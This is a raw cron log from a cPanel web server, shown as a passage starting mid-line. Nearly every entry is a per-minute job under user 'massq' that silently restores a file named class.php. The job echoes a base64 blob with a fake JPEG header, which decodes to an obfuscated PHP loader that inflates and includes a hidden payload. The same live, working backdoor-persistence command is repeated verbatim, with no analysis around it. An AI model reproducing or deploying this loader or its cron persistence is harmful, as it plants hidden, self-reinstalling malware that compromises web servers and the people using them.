KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:33:01 server CROND[8994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:34:01 server CROND[9057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:35:01 server CROND[9213]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 20:35:01 server CROND[9216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:35:01 server CROND[9217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:35:01 server CROND[9214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:35:01 server CROND[9215]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 20:36:01 server CROND[9337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:37:01 server CROND[9389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:38:01 server CROND[9457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:39:01 server CROND[9525]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 20:39:01 server CROND[9524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:40:01 server CROND[9585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 20:40:01 server CROND[9587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:40:01 server CROND[9586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:40:01 server CROND[9588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:41:01 server CROND[9870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:42:01 server CROND[9930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:42:01 server CROND[9931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 20:43:01 server CROND[9992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:44:01 server CROND[10049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:45:01 server CROND[10115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:45:01 server CROND[10114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:45:01 server CROND[10116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
